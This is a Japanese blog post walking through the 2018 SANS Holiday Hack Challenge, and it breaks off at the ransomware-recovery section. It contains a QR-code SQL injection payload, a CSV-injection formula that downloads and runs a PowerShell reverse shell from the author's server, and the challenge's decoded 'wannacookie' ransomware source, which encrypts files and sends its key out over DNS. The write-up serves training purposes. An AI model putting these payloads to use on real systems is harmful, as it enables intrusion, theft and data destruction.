こんとろーるしーこんとろーるぶい

週末にカチャカチャッターン!したことを貼り付けていくブログ

The 2018 SANS Holiday Hack Challenge Writeup

新年の初投稿が遅くなりましたが、あけましておめでとうございます。

12/28-12/30開催の35C3 CTFから1/19-1/20開催のInsomni'hack teaser 2019の間、CTFイベントはオフシーズンでした。
ちょうどこの期間に、SANS社がHoliday Hack Challengeを開催しており、私も参加&全完しましたのでwriteupを書きます。

www.holidayhackchallenge.com

概要

サンタ城を歩きながら、ペンテスト、フォレンジックマルウェア解析、ネットワーク解析などのスキルを駆使して、各種チャレンジを解いていく。

以下、城門の前のスクリーンショット。開催直後は門の前に大量の人がいたが、1/14現在はガラガラ。
f:id:graneed:20190114122244p:plain

メインの問題数は全14問と、解くとメインの問題のヒントがもらえるサブの問題が9問。 サブの問題の説明は割愛。

なお、英語でwriteupを書いてエントリーすると、審査または抽選で賞品がもらえたようだ。
残念ながら当BlogはJapanese Only(#インターネット老人会 hashtag on Twitter )のため、報告不可。

1) Orientation Challenge

過去のHoliday Hack Challengeのストーリーに関する4択問題×6問。
f:id:graneed:20190114124423p:plain

私は今年が初挑戦であるため、問題が何を言ってるかさっぱりわからずGoogle検索してWriteupを読み、答えを調べた。

なお、答えを4問特定してから、残り2問は4×4=16回の総当たりという横着をした。

2) Directory Browsing

https://cfp.kringlecastle.com/ から、Data Loss for Rainbow TeamsというタイトルでCall for papersに応募してリジェクトされた人の名前を特定しろという問題。問題名から、ディレクトリリスティングを使うことが明らか。

https://cfp.kringlecastle.com/cfp/ にアクセスすると、rejected-talks.csvを発見。

John McClaneが答え。

3) de Bruijn Sequences

4種類の記号を4回選択して、当てるとドアが開く。

f:id:graneed:20190114130255p:plain

256回の総当たりをすれば当たるので、スクリプト書いて実行。

import requests
import itertools

s = requests.Session()
for i in itertools.product({'0','1','2','3'}, repeat=4):
    req = requests.Request(
        'GET',
        "https://doorpasscoden.kringlecastle.com/checkpass.php",
        params={
                "i":"".join(i),
                "resourceId":"1"
        }
    )
    prepared = req.prepare()
    r = s.send(prepared, allow_redirects = False)
    print(i)
    if len(r.text) != 46:
        print(r.text)
        exit(0)

実行する。

('3', '3', '3', '3')
('3', '3', '3', '2')
('3', '3', '3', '0')
(snip)
('0', '1', '2', '3')
('0', '1', '2', '2')
('0', '1', '2', '0')
{"success":true,"resourceId":"1","hash":"1c49ebfdb891f43cafef54856a775f6cbc0497b462af5452a17af1798e1d8433","message":"Correct guess!"}

f:id:graneed:20190114130545p:plain

4) Data Repo Analysis

https://git.kringlecastle.com/Upatree/santas_castle_automation から、passwordを取得する問題。

gitのリポジトリのcommitの履歴を辿れば、どこかにあると予想。

以下のコマンドで、各commit間のdiffを全量出力して眺める。

$ git log | grep -e "commit [0-9a-f]\{40\}" | sed 's/commit //' > commit.txt
$ for i in `cat commit.txt`; do echo "----------------$i----------------">>diff.txt ; git diff ${i}^..${i} >> diff.txt; done

passwordを発見。

----------------7f46bd5f88d0d5ac9f68ef50bebb7c52cfa67442----------------
diff --git a/schematics/for_elf_eyes_only.md b/schematics/for_elf_eyes_only.md
deleted file mode 100644
index b06a507..0000000
--- a/schematics/for_elf_eyes_only.md
+++ /dev/null
@@ -1,15 +0,0 @@
-Our Lead InfoSec Engineer Bushy Evergreen has been noticing an increase of brute force attacks in our logs. Furthermore, Albaster discovered and published a vulnerability with our password length at the last Hacker Conference.
-
-Bushy directed our elves to change the password used to lock down our sensitive files to something stronger. Good thing he caught it before those dastardly villians did!
-
- 
-Hopefully this is the last time we have to change our password again until next Christmas. 
-
-
-
-
-Password = 'Yippee-ki-yay'
-
-
-Change ID = '9ed54617547cfca783e0f81f8dc5c927e3d1e3'
-

Yippee-ki-yayが答え。

5) AD Privilege Discovery

以下、問題文を抜粋。

find a reliable path from a Kerberoastable user to the Domain Admins group.
What’s the user’s logon name?
Remember to avoid RDP as a control path as it depends on separate local privilege escalation flaws.

Kerberoastable userからDomain Admins groupへのパスを見つけろ、但しRDP接続は除けとのこと。
Active Directoryに疎いので、正直、意味を理解しきれていないが、とりあえず手を動かしてみる。

ovaファイルが提供され、Active DirectoryログはBloodHoundという解析ツールに取り込み済み。親切~。

BloodHoundを起動してポチポチ触ると、あらかじめ用意されたCustom Queryがある。
その中から、Shortest Paths to Domain Admins from Kerberoastable Usersという、ドンピシャなQueryを発見。

選択してプロットされた図から、RDPを介さずにDomain Admins groupに到達するユーザーを発見。
f:id:graneed:20190114134355p:plain

LDUBEJ00320@AD.KRINGLECASTLE.COMが答え。

6) Badge Manipulation

カメラモニタと指紋認証とUSB端子があるドアを開ける。
f:id:graneed:20190114134944p:plain

右上の緑の四角をクリックすると、リアルな人間の手が表示され、指紋認証が始まるが開かない。

USB端子をクリックするとファイルアップロードが可能。 適当なファイルをアップロードすると、QRコードをアップしろとのエラーメッセージが表示された。

なお、左の黒い四角のモニタは、PCにカメラが接続されていれば本当に映る。 知らずに、出先でカメラ付きのノートPCでチャレンジしていたときに、突然自分の顔が映ったときは心拍数が跳ね上がった。

サブ問題を解いてSQL Injectionというヒントを得た。
よって、シングルクォーテーションが入った文字列をQRコード画像化してアップロードすると以下のメッセージが返却された。

{"data":"EXCEPTION AT (LINE 96 \"user_info = query(\"SELECT first_name,last_name,enabled FROM employees WHERE authorized = 1 AND uid = '{}' LIMIT 1\".format(uid))\"): (1064, u\"You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '''' LIMIT 1' at line 1\")","request":false}

単純なSQL Injectionのようだ。enabled を1にするため、union句を使ったSQL文を作成する。

' union all select 1,1,1 #

上記のSQL文を埋め込んで作成したQRコードはこちら。
f:id:graneed:20190114140331p:plain

メッセージが流れてしまっているが、アップロードしたら認証成功した。
f:id:graneed:20190114140349p:plain

7) HR Incident Response

https://careers.kringlecastle.com/ から、C:\candidate_evaluation.docxを取得して、Kから始まる求職者が加担しているサイバーテロリスト組織名を答える問題。

サブ問題を解いてCSV Injectionというヒントを得た。
なるほど、CSVがアップロードできる。

Excelで開いたらセル内の式が発動してpowershellを起動するCSVを作ってアップロードし、リバースシェルを取ればよさそうだ。
CSV形式のマルウェア、昨年のばらまき型メールの添付ファイルでも何度か見たことを思い出した。

作成したCSVは以下のとおり。Excelで開いたらmini-reverse.ps1を自サーバからダウンロードして実行する単純なもの。

=cmd|' /C powershell IEX (New-Object Net.WebClient).DownloadString("http://my-server/mini-reverse.ps1")'!A1

リバースシェルはこれを使った。
A reverse shell in Powershell · GitHub

先頭のIPアドレスとPort番号を書き換える。 また、IEXで実行するため、ダブルクォーテーションをエスケープする必要があった。"\"に置換した。少々ハマった。

実行の手順は以下の通り。

  1. nc -l -p <ポート番号>を実行して待ち受け準備。
  2. 別ターミナルでapacheアクセスログtail -fで流して監視。
  3. CSVのアップロードを実行。
  4. mini-reverse.ps1 へアクセスが来た数秒後に、以下のコマンドを投入。
powershell [Convert]::ToBase64String([System.IO.File]::ReadAllBytes('C:\\candidate_evaluation.docx'))
UEsDBBQACAgIAC2fh00AAAAAAAAAAAAAAAALAAAAX3JlbHMvLnJlbHO(snip)

得られたBASE64エンコード文字列をデコードしてWordで開く。

f:id:graneed:20190114143629p:plain

Fancy BearFancy Beaverが答え。

8) Network Traffic Forensics

パケットキャプチャ&パケットアナライザを提供するWebシステムを使用して、Holly EvergreenからAlabaster Snowballへ送ったドキュメントを取得する問題。

アカウントを登録してログインすると、Analyze PCAPSNIFF TRAFFICというボタンがある。
Analyze PCAPは、PCAPファイルをアップロードして一覧表示する機能。
SNIFF TRAFFICは、20秒間、このシステムがパケットキャプチャして、PCAPファイルとしてダウンロードできる機能。

最初、何をするのかわからなかったが、どうやら、SNIFF TRAFFICしたPCAPファイルに、Holly EvergreenからAlabaster Snowballへ送ったドキュメントの手がかりがあるようだ。

ただ、HTTPSによる通信のため、PCAPファイルをWireSharkで開いてもApplication Dataと表示されて中身がみれない。

Webシステムの調査を進めると、以下のコメントを発見。

(snip)
        //File upload Function. All extensions and sizes are validated server-side in app.js
(snip)
                        //File Size and extensions are also validated server-side in app.js.
(snip)

app.jsのソースを探すと、https://packalyzer.kringlecastle.com/pub/app.js に発見。

ソースコードを読み解く。注目するべきは以下の2か所。

const dev_mode = true;
const key_log_path = ( !dev_mode || __dirname + process.env.DEV + process.env.SSLKEYLOGFILE )
const options = {
  key: fs.readFileSync(__dirname + '/keys/server.key'),
  cert: fs.readFileSync(__dirname + '/keys/server.crt'),
  http2: {
    protocol: 'h2',         // HTTP2 only. NOT HTTP1 or HTTP1.1
    protocols: [ 'h2' ],
  },
  keylog : key_log_path     //used for dev mode to view traffic. Stores a few minutes worth at a time
};

function load_envs() {
  var dirs = []
  var env_keys = Object.keys(process.env)
  for (var i=0; i < env_keys.length; i++) {
    if (typeof process.env[env_keys[i]] === "string" ) {
      dirs.push(( "/"+env_keys[i].toLowerCase()+'/*') )
    }
  }
  return uniqueArray(dirs)
}
if (dev_mode) {
    //Can set env variable to open up directories during dev
    const env_dirs = load_envs();
} else {
    const env_dirs = ['/pub/','/uploads/'];
}

(snip)

  //Route for anything in the public folder except index, home and register
router.get(env_dirs,  async (ctx, next) => {
try {
    var Session = await sessionizer(ctx);
    //Splits into an array delimited by /
    let split_path = ctx.path.split('/').clean("");
    //Grabs directory which should be first element in array
    let dir = split_path[0].toUpperCase();
    split_path.shift();
    let filename = "/"+split_path.join('/');
    while (filename.indexOf('..') > -1) {
    filename = filename.replace(/\.\./g,'');
    }
    if (!['index.html','home.html','register.html'].includes(filename)) {
    ctx.set('Content-Type',mime.lookup(__dirname+(process.env[dir] || '/pub/')+filename))
    ctx.body = fs.readFileSync(__dirname+(process.env[dir] || '/pub/')+filename)
    } else {
    ctx.status=404;
    ctx.body='Not Found';
    }
} catch (e) {
    ctx.body=e.toString();
}
});

①より、__dirname + process.env.DEV + process.env.SSLKEYLOGFILEに、keylogファイルを出力している。

以下ドキュメントを読んだところ、keylogファイルがあれば、特定の時間内のPCAPファイルを復号できるようだ。
(流石、SANS!)
www.sans.org

②より、process.envにセットされている環境変数の文字列が、静的コンテンツのダウンロード先ディレクトリになるようだ。 例えば、process.env.HOGE = "fuga"がセットされていれば、/fuga/aaaa.txtファイルをダウンロードできる模様。

keylogファイルはprocess.env.DEVディレクトリ配下に作成されることはわかっているため、process.env.DEVprocess.env.SSLKEYLOGFILEの値がわかればダウンロードできる。

試しにprocess.env.DEVprocess.env.SSLKEYLOGFILEの変数名をそのままパスにしてアクセスしてみる。

https://packalyzer.kringlecastle.com/DEV/

Error: EISDIR: illegal operation on a directory, read  

DEVディレクトリが存在するようだ!

https://packalyzer.kringlecastle.com/SSLKEYLOGFILE/

Error: ENOENT: no such file or directory, open '/opt/http2packalyzer_clientrandom_ssl.log/'  

SSLKEYLOGFILEのファイル名がわかった!

これらの情報より、keylogファイルのパスが判明した。
https://packalyzer.kringlecastle.com/dev/packalyzer_clientrandom_ssl.log

CLIENT_RANDOM 3597D1735D7B3A17DDE8E500AA4E9A82AE04A56F4B2C0581FA24DCB97410C7E5 5C72E0E51E6237CF65C554D2AD798724F8F38FD6B98407CACCEA1E0D95490216BB3B34A729E961C597A707EF694AEE37
CLIENT_RANDOM 199892BA0535C02CD1AB9A832F85BDAA1A4A32194B10A52D0C57BD39C2BECF4E 30DD840A5084BC474BD4AB3390AA7A60CBC25FA231F30C9A77B8004F78C382C228A184722E2493183E5449ADD68FF991
CLIENT_RANDOM F28FAE7892D99F9D1CAD42592BDD370B02D928194C47491A240C63FBE05239C5 ACD8FB9E512932F814D96F90565EE97D79EBCF77F93D821683EE53F402513C7B9CA59E79BAD10871B9ADF648BB37165A
CLIENT_RANDOM F12159347D0B70C00CEE2F39F425E35ECC780CD3A8E739904BAB8F18832132B0 4323B6691163A22188978D58F03F15AD4EE12DF320DFC1CDBE0CF4714FA3842EA58745E56457FC16264D2897598AEF63
CLIENT_RANDOM 8D14BC97A066335AB829BD5B2EBBB7E25ABE4C95A9C1035D6613E3DB9A7EFF21 DC82E8547E2CC9089C99E066E3CD2F81575E875AFBF90D06FED7B83B692A60FABC4FE32A2848945D50A4A694EEDD9451
(snip)

SNIFF TRAFFICボタンを押下してPCAPファイルを取得してから、直後にkeylogファイルをダウンロードする。
WireSharkの編集 -> 設定 -> Protocol -> SSLの画面で、(Pre)-Master-Secret log filenamekeylogファイルをセットする。
f:id:graneed:20190114153233p:plain

PCAPファイルを開くとTLS暗号化されていた中身が見れた。 WireShark上でグリーン表示になった時は感動した。 f:id:graneed:20190114153534p:plain

通信内容はHTTP2。DATAフレームを中心に中身を確認する。
なお、以前に技術書典5で購入した本を読んでいたので、通常のHTTP通信との違いに戸惑うことなく、すんなりと解析を始められた。おすすめ。 booth.pm

DATAフレームを眺めていると、alabasterユーザのクレデンシャル情報を発見。 f:id:graneed:20190114153706p:plain

ログインしてみると、Captures画面にいかにもなPCAPファイルを発見。 f:id:graneed:20190114154500p:plain

ダウンロードしてWireSharkで開くとSMTPの通信。
f:id:graneed:20190114154712p:plain

BASE64デコードするとPDFファイルになった。
f:id:graneed:20190114154847p:plain

2ページ目の末尾のMary Had a Little Lambが答え。

9) Ransomware Recovery

不審な通信検知、ランサムウェアマルウェア解析、キルスイッチ設定、被害ファイルの復号をする問題。

9-1) Catch the Malware

PCAPファイルを読み解いて、不審な通信先をアラート検知するSnortルールを作る問題。

ドメインとIPは変動するので、パターンを見極めてルールを作る必要がある。

まず、PCAPファイルから傾向をつかむ。

elf@359a2f37b283:~$ tshark -r snort.log.pcap -T fields -e dns.qry.name
77616E6E61636F6F6B69652E6D696E2E707331.easrbnhrug.org
77616E6E61636F6F6B69652E6D696E2E707331.easrbnhrug.org
77616E6E61636F6F6B69652E6D696E2E707331.bngaurrhes.net
77616E6E61636F6F6B69652E6D696E2E707331.bngaurrhes.net
durex.linkedin.com
durex.linkedin.com
0.77616E6E61636F6F6B69652E6D696E2E707331.easrbnhrug.org
0.77616E6E61636F6F6B69652E6D696E2E707331.easrbnhrug.org
0.77616E6E61636F6F6B69652E6D696E2E707331.bngaurrhes.net
0.77616E6E61636F6F6B69652E6D696E2E707331.bngaurrhes.net
preoffering.earthfall.google.com
preoffering.earthfall.google.com
1.77616E6E61636F6F6B69652E6D696E2E707331.bngaurrhes.net
1.77616E6E61636F6F6B69652E6D696E2E707331.bngaurrhes.net
asked.suctional.islandology.yahoo.com
asked.suctional.islandology.yahoo.com

77616E6E61636F6F6B69652E6D696E2E707331が含まれているドメインがどう見ても悪性。

このランダム文字列の部分も変動すると思い正規表現を駆使したルールを作っていたが、結局、以下のルールで成功した。 ちょっと肩すかし。

alert udp $HOME_NET any -> $EXTERNAL_NET 53 (msg:"BLACKLIST DNS domain"; pcre:"/77616E6E61636F6F6B69652E6D696E2E707331/"; sid:1000001; rev:1;)
alert udp $EXTERNAL_NET 53 -> $HOME_NET any (msg:"BLACKLIST DNS domain"; pcre:"/77616E6E61636F6F6B69652E6D696E2E707331/"; sid:1000002; rev:1;)

f:id:graneed:20190114160321p:plain

なお、最初、クライアント→サーバの通信だけアラート検知すればよいと思い、中々成功せずに少々ハマった。

9-2) Identify the Domain

ランサムウェアのwordファイルを解析して通信先のドメインを特定する問題。

olevbaツールを使うと以下のマクロが見つかる。

powershell.exe -NoE -Nop -NonI -ExecutionPolicy Bypass -C "sal a New-Object; iex(a IO.StreamReader((a IO.Compression.DeflateStream([IO.MemoryStream][Convert]::FromBase64String('lVHRSsMwFP2VSwksYUtoWkxxY4iyir4oaB+EMUYoqQ1syUjToXT7d2/1Zb4pF5JDzuGce2+a3tXRegcP2S0lmsFA/AKIBt4ddjbChArBJnCCGxiAbOEMiBsfSl23MKzrVocNXdfeHU2Im/k8euuiVJRsZ1Ixdr5UEw9LwGOKRucFBBP74PABMWmQSopCSVViSZWre6w7da2uslKt8C6zskiLPJcJyttRjgC9zehNiQXrIBXispnKP7qYZ5S+mM7vjoavXPek9wb4qwmoARN8a2KjXS9qvwf+TSakEb+JBHj1eTBQvVVMdDFY997NQKaMSzZurIXpEv4bYsWfcnA51nxQQvGDxrlP8NxH/kMy9gXREohG'),[IO.Compression.CompressionMode]::Decompress)),[Text.Encoding]::ASCII)).ReadToEnd()"

BASE64デコードして、Deflateをかければ中身がわかる。

>>> import base64
>>> import zlib
>>> encoded = 'lVHRSsMwFP2VSwksYUtoWkxxY4iyir4oaB+EMUYoqQ1syUjToXT7d2/1Zb4pF5JDzuGce2+a3tXRegcP2S0lmsFA/AKIBt4ddjbChArBJnCCGxiAbOEMiBsfSl23MKzrVocNXdfeHU2Im/k8euuiVJRsZ1Ixdr5UEw9LwGOKRucFBBP74PABMWmQSopCSVViSZWre6w7da2uslKt8C6zskiLPJcJyttRjgC9zehNiQXrIBXispnKP7qYZ5S+mM7vjoavXPek9wb4qwmoARN8a2KjXS9qvwf+TSakEb+JBHj1eTBQvVVMdDFY997NQKaMSzZurIXpEv4bYsWfcnA51nxQQvGDxrlP8NxH/kMy9gXREohG'
>>> decoded = base64.b64decode(encoded)
>>> decompressed = zlib.decompress(decoded, -15)
>>> print(decompressed.decode("utf-8"))
function H2A($a) {$o; $a -split '(..)' | ? { $_ }  | forEach {[char]([convert]::toint16($_,16))} | forEach {$o = $o + $_}; return $o}; $f = "77616E6E61636F6F6B69652E6D696E2E707331"; $h = ""; foreach ($i in 0..([convert]::ToInt32((Resolve-DnsName -Server erohetfanu.com -Name "$f.erohetfanu.com" -Type TXT).strings, 10)-1)) {$h += (Resolve-DnsName -Server erohetfanu.com -Name "$i.$f.erohetfanu.com" -Type TXT).strings}; iex($(H2A $h | Out-string))

erohetfanu.comが答え。

9-3) Stop the Malware

マルウェアキルスイッチ機能が実装されているようで、そのドメインを特定する問題。
9-2のPowerShellを実行して、2次検体を取得する。

ただ、そのまま実行すると自分も被害にあう可能性があるため、最後にiexで実行している部分をコメントアウトし、コード実行はせずにコードを文字列で出力するよう改造する。

function H2A($a) {
    $o;
    $a -split '(..)' | ? { $_ }  | forEach {[char]([convert]::toint16($_,16))} | forEach {$o = $o + $_}; return $o
};
$f = "77616E6E61636F6F6B69652E6D696E2E707331";
$h = "";
foreach ($i in 0..([convert]::ToInt32((Resolve-DnsName -Server erohetfanu.com -Name "$f.erohetfanu.com" -Type TXT).strings, 10)-1)) {
    $h += (Resolve-DnsName -Server erohetfanu.com -Name "$i.$f.erohetfanu.com" -Type TXT).strings
};
#iex($(H2A $h | Out-string))
$(H2A $h | Out-string)

実行結果は以下の通り。

PS D:\Develop\CTF\Contest\HolidayChallenge2018> powershell .\1次検体.ps1
$functions = {function e_d_file($key, $File, $enc_it) {[byte[]]$key = $key;$Suffix = "`.wannacookie";[System.Reflection.Assembly]::LoadWithPartialName('System.Security.Cryptography');[System.Int32]$KeySize = $key.Length*8;$AESP = New-Object 'System.Security.Cryptography.AesManaged';$AESP.Mode = [System.Security.Cryptography.CipherMode]::CBC;$AESP.BlockSize = 128;$AESP.KeySize = $KeySize;$AESP.Key = $key;$FileSR = New-Object System.IO.FileStream($File, [System.IO.FileMode]::Open);if ($enc_it) {$DestFile = $File + $Suffix} else {$DestFile = ($File -replace $Suffix)};$FileSW = New-Object System.IO.FileStream($DestFile, [System.IO.FileMode]::Create);if ($enc_it) {$AESP.GenerateIV();$FileSW.Write([System.BitConverter]::GetBytes($AESP.IV.Length), 0, 4);$FileSW.Write($AESP.IV, 0, $AESP.IV.Length);$Transform = $AESP.CreateEncryptor()} else {[Byte[]]$LenIV = New-Object Byte[] 4;$FileSR.Seek(0, [System.IO.SeekOrigin]::Begin) | Out-Null;$FileSR.Read($LenIV,  0, 3) | Out-Null;[Int]$LIV = [System.BitConverter]::ToInt32($LenIV,  0);[Byte[]]$IV = New-Object Byte[] $LIV;$FileSR.Seek(4, [System.IO.SeekOrigin]::Begin) | Out-Null;$FileSR.Read($IV, 0, $LIV) | Out-Null;$AESP.IV = $IV;$Transform = $AESP.CreateDecryptor()};$CryptoS = New-Object System.Security.Cryptography.CryptoStream($FileSW, $Transform, [System.Security.Cryptography.CryptoStreamMode]::Write);[Int]$Count = 0;[Int]$BlockSzBts = $AESP.BlockSize / 8;[Byte[]]$Data = New-Object Byte[] $BlockSzBts;Do {$Count = $FileSR.Read($Data, 0, $BlockSzBts);$CryptoS.Write($Data, 0, $Count)} While ($Count -gt 0);$CryptoS.FlushFinalBlock();$CryptoS.Close();$FileSR.Close();$FileSW.Close();Clear-variable -Name "key";Remove-Item $File}};function H2B {param($HX);$HX = $HX -split '(..)' | ? { $_ };ForEach ($value in $HX){[Convert]::ToInt32($value,16)}};function A2H(){Param($a);$c = '';$b = $a.ToCharArray();;Foreach ($element in $b) {$c = $c + " " + [System.String]::Format("{0:X}", [System.Convert]::ToUInt32($element))};return $c -replace ' '};function H2A() {Param($a);$outa;$a -split '(..)' | ? { $_ }  | forEach {[char]([convert]::toint16($_,16))} | forEach {$outa = $outa + $_};return $outa};function B2H {param($DEC);$tmp = '';ForEach ($value in $DEC){$a = "{0:x}" -f [Int]$value;if ($a.length -eq 1){$tmp += '0' + $a} else {$tmp += $a}};return $tmp};function ti_rox {param($b1, $b2);$b1 = $(H2B $b1);$b2 = $(H2B $b2);$cont = New-Object Byte[] $b1.count;if ($b1.count -eq $b2.count) {for($i=0; $i -lt $b1.count ; $i++) {$cont[$i] = $b1[$i] -bxor $b2[$i]}};return $cont};function B2G {param([byte[]]$Data);Process {$out = [System.IO.MemoryStream]::new();$gStream = New-Object System.IO.Compression.GzipStream $out, ([IO.Compression.CompressionMode]::Compress);$gStream.Write($Data, 0, $Data.Length);$gStream.Close();return $out.ToArray()}};function G2B {param([byte[]]$Data);Process {$SrcData = New-Object System.IO.MemoryStream( , $Data );$output = New-Object System.IO.MemoryStream;$gStream = New-Object System.IO.Compression.GzipStream $SrcData, ([IO.Compression.CompressionMode]::Decompress);$gStream.CopyTo( $output );$gStream.Close();$SrcData.Close();[byte[]] $byteArr = $output.ToArray();return $byteArr}};function sh1([String] $String) {$SB = New-Object System.Text.StringBuilder;[System.Security.Cryptography.HashAlgorithm]::Create("SHA1").ComputeHash([System.Text.Encoding]::UTF8.GetBytes($String))|%{[Void]$SB.Append($_.ToString("x2"))};$SB.ToString()};function p_k_e($key_bytes, [byte[]]$pub_bytes){$cert = New-Object -TypeName System.Security.Cryptography.X509Certificates.X509Certificate2;$cert.Import($pub_bytes);$encKey = $cert.PublicKey.Key.Encrypt($key_bytes, $true);return $(B2H $encKey)};function e_n_d {param($key, $allfiles, $make_cookie );$tcount = 12;for ( $file=0; $file -lt $allfiles.length; $file++  ) {while ($true) {$running = @(Get-Job | Where-Object { $_.State -eq 'Running' });if ($running.Count -le $tcount) {Start-Job  -ScriptBlock {param($key, $File, $true_false);try{e_d_file $key $File $true_false} catch {$_.Exception.Message | Out-String | Out-File $($env:userprofile+'\Desktop\ps_log.txt') -append}} -args $key, $allfiles[$file], $make_cookie -InitializationScript $functions;break} else {Start-Sleep -m 200;continue}}}};function g_o_dns($f) {$h = '';foreach ($i in 0..([convert]::ToInt32($(Resolve-DnsName -Server erohetfanu.com -Name "$f.erohetfanu.com" -Type TXT).Strings, 10)-1)) {$h += $(Resolve-DnsName -Server erohetfanu.com -Name "$i.$f.erohetfanu.com" -Type TXT).Strings};return (H2A $h)};function s_2_c($astring, $size=32) {$new_arr = @();$chunk_index=0;foreach($i in 1..$($astring.length / $size)) {$new_arr += @($astring.substring($chunk_index,$size));$chunk_index += $size};return $new_arr};function snd_k($enc_k) {$chunks = (s_2_c $enc_k );foreach ($j in $chunks) {if ($chunks.IndexOf($j) -eq 0) {$n_c_id = $(Resolve-DnsName -Server erohetfanu.com -Name "$j.6B6579666F72626F746964.erohetfanu.com" -Type TXT).Strings} else {$(Resolve-DnsName -Server erohetfanu.com -Name "$n_c_id.$j.6B6579666F72626F746964.erohetfanu.com" -Type TXT).Strings}};return $n_c_id};function wanc {$S1 = "1f8b080000000000040093e76762129765e2e1e6640f6361e7e202000cdd5c5c10000000";if ($null -ne ((Resolve-DnsName -Name $(H2A $(B2H $(ti_rox $(B2H $(G2B $(H2B $S1))) $(Resolve-DnsName -Server erohetfanu.com -Name 6B696C6C737769746368.erohetfanu.com -Type TXT).Strings))).ToString() -ErrorAction 0 -Server 8.8.8.8))) {return};if ($(netstat -ano | Select-String "127.0.0.1:8080").length -ne 0 -or (Get-WmiObject Win32_ComputerSystem).Domain -ne "KRINGLECASTLE") {return};$p_k = [System.Convert]::FromBase64String($(g_o_dns("7365727665722E637274") ) );$b_k = ([System.Text.Encoding]::Unicode.GetBytes($(([char[]]([char]01..[char]255) + ([char[]]([char]01..[char]255)) + 0..9 | sort {Get-Random})[0..15] -join ''))  | ? {$_ -ne 0x00});$h_k = $(B2H $b_k);$k_h = $(sh1 $h_k);$p_k_e_k = (p_k_e $b_k $p_k).ToString();$c_id = (snd_k $p_k_e_k);$d_t = (($(Get-Date).ToUniversalTime() | Out-String) -replace "`r`n");[array]$f_c = $(Get-ChildItem *.elfdb -Exclude *.wannacookie -Path $($($env:userprofile+'\Desktop'),$($env:userprofile+'\Documents'),$($env:userprofile+'\Videos'),$($env:userprofile+'\Pictures'),$($env:userprofile+'\Music')) -Recurse | where { ! $_.PSIsContainer } | Foreach-Object {$_.Fullname});e_n_d $b_k $f_c $true;Clear-variable -Name "h_k";Clear-variable -Name "b_k";$lurl = 'http://127.0.0.1:8080/';$html_c = @{'GET /'  =  $(g_o_dns (A2H "source.min.html"));'GET /close'  =  '<p>Bye!</p>'};Start-Job -ScriptBlock{param($url);Start-Sleep 10;Add-type -AssemblyName System.Windows.Forms;start-process "$url" -WindowStyle Maximized;Start-sleep 2;[System.Windows.Forms.SendKeys]::SendWait("{F11}")} -Arg $lurl;$list = New-Object System.Net.HttpListener;$list.Prefixes.Add($lurl);$list.Start();try {$close = $false;while ($list.IsListening) {$context = $list.GetContext();$Req = $context.Request;$Resp = $context.Response;$recvd = '{0} {1}' -f $Req.httpmethod, $Req.url.localpath;if ($recvd -eq 'GET /') {$html = $html_c[$recvd]} elseif ($recvd -eq 'GET /decrypt') {$akey = $Req.QueryString.Item("key");if ($k_h -eq $(sh1 $akey)) {$akey = $(H2B $akey);[array]$f_c = $(Get-ChildItem -Path $($env:userprofile) -Recurse  -Filter *.wannacookie | where { ! $_.PSIsContainer } | Foreach-Object {$_.Fullname});e_n_d $akey $f_c $false;$html = "Files have been decrypted!";$close = $true} else {$html = "Invalid Key!"}} elseif ($recvd -eq 'GET /close') {$close = $true;$html = $html_c[$recvd]} elseif ($recvd -eq 'GET /cookie_is_paid') {$c_n_k = $(Resolve-DnsName -Server erohetfanu.com -Name ("$c_id.72616e736f6d697370616964.erohetfanu.com".trim()) -Type TXT).Strings;if ( $c_n_k.length -eq 32 ) {$html = $c_n_k} else {$html = "UNPAID|$c_id|$d_t"}} else {$Resp.statuscode = 404;$html = '<h1>404 Not Found</h1>'};$buffer = [Text.Encoding]::UTF8.GetBytes($html);$Resp.ContentLength64 = $buffer.length;$Resp.OutputStream.Write($buffer, 0, $buffer.length);$Resp.Close();if ($close) {$list.Stop();return}}} finally {$list.Stop()}};wanc;

整形しながら読み進める。(良いPowerShellの整形ツールが見つからない・・・。誰か教えてください。)

キルスイッチとなるドメイン名を特定する問題なので、実行後の前半部分でreturnする処理に着目する。

$S1 = "1f8b080000000000040093e76762129765e2e1e6640f6361e7e202000cdd5c5c10000000";
if ($null -ne ((Resolve-DnsName -Name $(H2A $(B2H $(ti_rox $(B2H $(G2B $(H2B $S1))) $(Resolve-DnsName -Server erohetfanu.com -Name 6B696C6C737769746368.erohetfanu.com -Type TXT).Strings))).ToString() -ErrorAction 0 -Server 8.8.8.8))) {
    return
};

DNSから情報をかき集めており、ソースコードを見ていても答えは無いため、実行してしまうことにする。
参照している関数を集めて、1つのps1ファイルにする。

function H2B {
    param($HX); $HX = $HX -split '(..)' | ? { $_ };
    ForEach ($value in $HX) {[Convert]::ToInt32($value, 16)}
}; 

function H2A() {
    Param($a);
    $outa;
    $a -split '(..)' | ? { $_ }  | forEach {[char]([convert]::toint16($_, 16))} | forEach {$outa = $outa + $_};
    return $outa
};

function B2H {
    param($DEC); $tmp = '';
    ForEach ($value in $DEC) {
        $a = "{0:x}" -f [Int]$value;
        if ($a.length -eq 1) {
            $tmp += '0' + $a
        } else {
            $tmp += $a
        }
    };
    return $tmp
};

function ti_rox {
    param($b1, $b2);
    $b1 = $(H2B $b1);
    $b2 = $(H2B $b2);
    $cont = New-Object Byte[] $b1.count;
    if ($b1.count -eq $b2.count) {
        for ($i = 0; $i -lt $b1.count ; $i++) {
            $cont[$i] = $b1[$i] -bxor $b2[$i]
        }
    };
    return $cont
};

function G2B {
    param([byte[]]$Data);
    Process {
        $SrcData = New-Object System.IO.MemoryStream( , $Data );
        $output = New-Object System.IO.MemoryStream;
        $gStream = New-Object System.IO.Compression.GzipStream $SrcData, ([IO.Compression.CompressionMode]::Decompress);
        $gStream.CopyTo( $output );
        $gStream.Close();
        $SrcData.Close();
        [byte[]] $byteArr = $output.ToArray();
        return $byteArr
    }
};

$S1 = "1f8b080000000000040093e76762129765e2e1e6640f6361e7e202000cdd5c5c10000000";
$(H2A $(B2H $(ti_rox $(B2H $(G2B $(H2B $S1))) $(Resolve-DnsName -Server erohetfanu.com -Name 6B696C6C737769746368.erohetfanu.com -Type TXT).Strings)))

実行するとドメイン名らしき文字列が表示される。

PS D:\Develop\CTF\Contest\HolidayChallenge2018> .\killswitch.ps1
yippeekiyaa.aaay

yippeekiyaa.aaayが答え。

サンタ城内の端末からドメイン登録する。
f:id:graneed:20190114164646p:plain

登録に成功した。(間違ったドメインを入力すると登録できない。)
f:id:graneed:20190114164659p:plain

9-4) Recover Alabaster's Password

ランサムウェアの被害にあったファイルを復号する問題。

